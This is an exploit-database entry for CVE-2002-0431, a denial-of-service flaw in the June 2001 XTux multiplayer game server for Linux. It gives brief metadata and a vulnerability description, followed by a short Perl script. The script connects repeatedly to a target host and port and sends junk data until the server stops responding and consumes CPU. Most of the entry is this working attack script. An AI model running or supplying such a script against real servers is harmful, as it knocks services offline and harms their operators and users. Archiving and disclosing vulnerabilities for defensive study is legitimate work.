XTux Server 2001.0 6.01 - Garbage Denial of Service
Author: b0iler
type: dos
platform: linux
port:
date_added: 2002-03-09
date_updated: 2012-09-17
verified: 1
codes: CVE-2002-0431;OSVDB-2303
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/4260/info
XTux is a multiplayer network game for Linux. The server component (June 01, 2001 version) is vulnerable to a denial of service initiated by connecting to the server and sending unexpected characters. This causes the server to become unresponsive and consume resources.
#!/usr/bin/perl
#
# xtux server DoS - by b0iler
# server will become unresponcive and takes up lots of CPU.
use IO::Socket;
for($n=0;$n<=3;$n++){ #you shouldn't even need all 3 connections.
print "Connecting to $ARGV[0] port $ARGV[1]\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort =>
$ARGV[1], Proto => 'tcp' ) or print "\ncouldn't connect\n\n";
sleep 3;
print $sock "garbage data\n\n";
}
exit;